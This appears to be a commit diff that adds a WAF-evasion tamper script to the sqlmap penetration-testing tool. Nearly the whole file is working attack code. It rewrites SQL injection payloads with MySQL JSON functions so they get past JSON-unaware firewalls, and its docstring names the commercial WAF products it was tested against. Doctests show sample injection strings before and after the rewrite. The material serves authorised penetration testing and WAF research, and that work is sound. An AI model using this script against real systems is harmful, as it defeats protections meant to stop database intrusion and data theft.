JSON WAF bypass tamper scripts (#5260)

* added JSON waf bypass techniques

* added a link for WAF evasion technique blog

* Added generic JSON WAF bypass

tamper/json_waf_bypass_mysql.py

@@ -0,0 +1,163 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+# Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison.
+pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)"
+import re, random, string
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+    pass
+
+
+
+# Possible int payloads:
+# 1) JSON_LENGTH()
+# 2) json_depth
+# 3) JSON_EXTRACT()
+
+def generate_int_payload():
+    INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload]
+    return (random.choice(INT_FUNCTIONS))()
+
+
+# Possible STR payloads:
+# 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
+# 2) JSON_EXTRACT
+# 3) JSON_QUOTE('null')
+
+def generate_str_payload():
+    print("generate_str_payload")
+    STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload]
+    return (random.choice(STR_FUNCTIONS))()
+    return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\''
+
+
+def generate_random_string(length=15):
+    str_length = random.randint(1,length)
+    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
+
+def generate_random_int():
+    return random.randint(2, 10000)
+
+
+def generate_length_payload():
+    return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}"
+
+
+def generate_depth_paylod():
+    return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}"
+
+
+def generate_quote_payload():
+    var = generate_random_string()
+    return f"JSON_QUOTE('{var}') = '\"{var}\"'"
+
+
+def generate_int_extract_payload():
+    return generate_extract_payload(isString=False)
+
+
+def generate_str_extract_payload():
+    return generate_extract_payload(isString=True)
+
+
+def generate_extract_payload(isString=False):
+    key = generate_random_string()
+    if isString:
+        value = generate_random_string()
+        return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
+    value = generate_random_int()
+    return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"'
+
+
+def generate_payload(isString, isBrackets):
+    payload = '(' if isBrackets else ""
+    if isString:
+        payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
+    else:
+        payload += generate_int_payload()
+
+    return payload
+
+
+def generate_random_payload():
+    if random.randint(0,1):
+        return generate_str_payload()
+    return generate_int_payload()
+
+def tamper(payload, **kwargs):
+    """
+        
+    Bypasses generic WAFs using JSON SQL Syntax.
+    For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html
+
+    Tested against:
+        * MySQL v8.0 - however every version after v5.7.8 should work
+
+    Usage:
+        python3 sqlmap.py <TARGET> --tamper json_waf_bypass_mysql.py
+
+    Notes:
+        * References: 
+            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
+            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
+        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
+        * JSON techniques were tested againts the following WAF vendors:
+            * Amazon AWS ELB
+            * CloudFlare
+            * F5 BIG-IP
+            * Palo-Alto Next Generation Firewall
+            * Imperva Firewall
+
+        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
+          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
+
+        Possible int payloads:
+            1) JSON_LENGTH()
+            2) json_depth
+            3) JSON_EXTRACT()
+
+        Possible STR payloads:
+            1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
+            2) JSON_EXTRACT
+            3) JSON_QUOTE('null')
+
+    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
+    ''' ' and 5626=9709  and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok '''
+    >>> tamper('and 4515=8950--')
+    '''  and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" '''
+    """
+
+    payload = payload.replace(r'%20', " ")
+    #
+    retVal = payload
+
+    if payload:
+        match = re.search(pattern, payload)
+
+        if match:
+            pre = match.group('pre')
+
+            # Is our payload is a string.
+            isString = pre.startswith("'")
+            isBrackets = pre.startswith("')") or pre.startswith(")")
+            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
+            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
+
+        else:
+
+            if payload.lower().startswith("' union"):
+                wafPayload = generate_random_payload()
+
+                retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
+
+    return retVal
+